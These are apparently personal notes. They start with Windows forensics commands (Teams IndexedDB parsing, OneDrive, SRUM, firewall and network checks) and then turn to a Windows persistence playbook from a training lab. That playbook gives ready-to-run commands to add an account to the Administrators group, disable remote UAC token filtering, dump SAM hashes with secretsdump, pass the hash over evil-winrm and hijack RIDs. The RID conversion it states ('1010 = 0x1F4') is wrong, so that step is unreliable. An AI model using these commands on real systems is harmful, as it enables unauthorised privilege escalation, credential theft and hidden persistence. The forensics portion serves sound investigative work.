C:\Tools\ms_teams_parser.exe -f C:\Users\mike.myers\AppData\Roaming\Microsoft\Teams\IndexedDB\https_teams.microsoft.com_0.indexeddb.leveldb\ -o output.json

View all conversation threads and file attachment details from the resulting JSON file:

$teams_metadata = cat .\output.json | ConvertFrom-Json
$users = @{}
$messages = @{}

# Initialise user hashtable for correlation
foreach ($data in $teams_metadata) {
   if ($data.record_type -eq "contact") {
     $users.add($data.mri, $data.userPrincipalName)
   }
}

# Combine all conversations/messages with the same ID
foreach ($data in $teams_metadata) {
  if ($data.record_type -eq "message") {
    if ($messages.keys -notcontains $data.conversationId) {
      $messages[$data.conversationId] = [System.Collections.ArrayList]@()
    }
    $messages[$data.conversationId].add($data) > $null
  }
}

# Print the parsed output focused on the significant values
foreach ($conversationID in $messages.keys) {
  Write-Host "Conversation ID: $conversationID`n"
  $conversation = $messages[$conversationID] | Sort createdTime
  foreach ($message in $conversation) {
    $createdTime = $message.createdTime
    $fromme = $message.isFromMe
    $content = $message.content
    $sender = $users[$message.creator]
    $direction = if ($message.isFromMe) { 'Outbound' } else { 'Inbound' }
    $attachments = if ($message.properties.files) { 'True' } else {'False'}

    Write-Host "Created Time: $createdTime"
    Write-Host "Sent by: $sender"
    Write-Host "Direction: $direction"
    Write-Host "Message content: $content"
    Write-Host "Has attachment: $attachments"

    # Parse file attachment details
    if ($attachments -eq "True") {
      foreach ($attachment in $message.properties.files) {
        $filename = $attachment.fileName
        $location = $attachment.fileInfo.fileUrl
        $type = $attachment.fileType

        Write-Host "Attachment name: $filename"
        Write-Host "Attachment location: $location"
        Write-Host "Attachment type: $type"
      }
    }
    Write-Host "`n"
  }

  Write-host "----------------`n"
}

OneDrive Forensics

Artifact folder:

AppData\Local\Microsoft\OneDrive\logs

Interesting files:

  • SyncEngine.odl
  • SyncDiagnostics.log

Open these files with OneDriveExplorer — https://github.com/Beercow/OneDriveExplorer

System Resource Usage Monitor (SRUM)

SRUM tracks application, network, and resource usage history, stored in:

C:\Windows\System32\sru\SRUDB.dat

Extract it using KAPE:

.\kape.exe --tsource C:\Windows\System32\sru --tdest C:\Users\CMNatic\Desktop\SRUM --tflush --mdest C:\Users\CMNatic\Desktop\MODULE --mflush --module SRUMDump --target SRUM

Analyse it with srum-dump (https://github.com/MarkBaggett/srum-dump).

Windows Firewall Logs

Log file location:

C:\Windows\System32\LogFiles\Firewall\pfirewall.log

Or read via PowerShell:

gc C:\Windows\System32\LogFiles\Firewall\pfirewall.log | more

Network Connection Analysis

Show TCP connections and associated processes:

Get-NetTCPConnection | select LocalAddress,localport,remoteaddress,remoteport,state,@{name="process";Expression={(get-process -id $_.OwningProcess).ProcessName}}, @{Name="cmdline";Expression={(Get-WmiObject Win32_Process -filter "ProcessId = $($_.OwningProcess)").commandline}} | sort Remoteaddress -Descending | ft -wrap -autosize

Show UDP connections:

Get-NetUDPEndpoint | select local*,creationtime, remote* | ft -autosize

Sort and get unique remote IPs:

(Get-NetTCPConnection).remoteaddress | Sort-Object -Unique

Investigate a specific IP address:

Get-NetTCPConnection -remoteaddress 51.15.43.212 | select state, creationtime, localport,remoteport | ft -autosize

Retrieve the DNS cache:

Get-DnsClientCache | ? Entry -NotMatch "workst|servst|memes|kerb|ws|ocsp" | out-string -width 1000

View the hosts file:

gc -tail 4 "C:\Windows\System32\Drivers\etc\hosts"

Query active RDP sessions:

qwinsta

Query SMB shares:

Get-SmbConnection
Get-SmbShare

Misc

Persistence

Linux

Windows

Tampering With Unprivileged Accounts

Assign Group Memberships
  • Make user part of Administrators group.
net localgroup "Administrators" thmuser1 /add
  • If thats to suspicious, add to Backup Operators group and Remote Management for RDP.
net localgroup "Backup Operators" thmuser1 /add
net localgroup "Remote Management Users" thmuser1 /add
  • Disable UAC privilige stripping for remote users.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
  • Remote into the machine (RDP or Evil-WinRM)
evil-winrm -i MACHINE_IP -u thmuser1 -p Password321
  • Export and download SAM and SYSTEM registry hives.
reg save hklm\system system.bak
reg save hklm\sam sam.bak

download system.bak
download sam.bak
  • Dump hashes from SAM and SYSTEM hives.
python /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.bak -system system.bak LOCAL
  • Pass the hash with admin account.
evil-winrm -i 10.10.112.47 -u Administrator -H f3118544a831e728781d780cfdb9c1fa
Special Privileges and Security Descriptors
  • Add SeBackupPrivilege and SeRestorePrivilege to an account.
secedit /export /cfg config.ini
secedit /import /cfg config.ini /db config.db
secedit /configure /db config.db /cfg config.ini
  • Change WinRM security descriptor and add user here with full control.
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI
  • Disable UAC privilige stripping for remote users.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
RID Hijacking
  • Find RIDs of user and admin user.
wmic useraccount get name,sid
  • Open regedit with privileges (tool must be present on target system).
PsExec.exe -i -s regedit
  • Find users here in the registry: HKLM\SAM\SAM\Domains\Account\Users\ .

  • Convert (admin) RID to hex value (i.e., 1010 = 0x1F4) and change F variable within the correct user key with the RID of the admin account (little endian notation = 04F1 -> F4 01).

  • Admin hex RID ussualy is F4 01, put this on line 0030 of the F variable.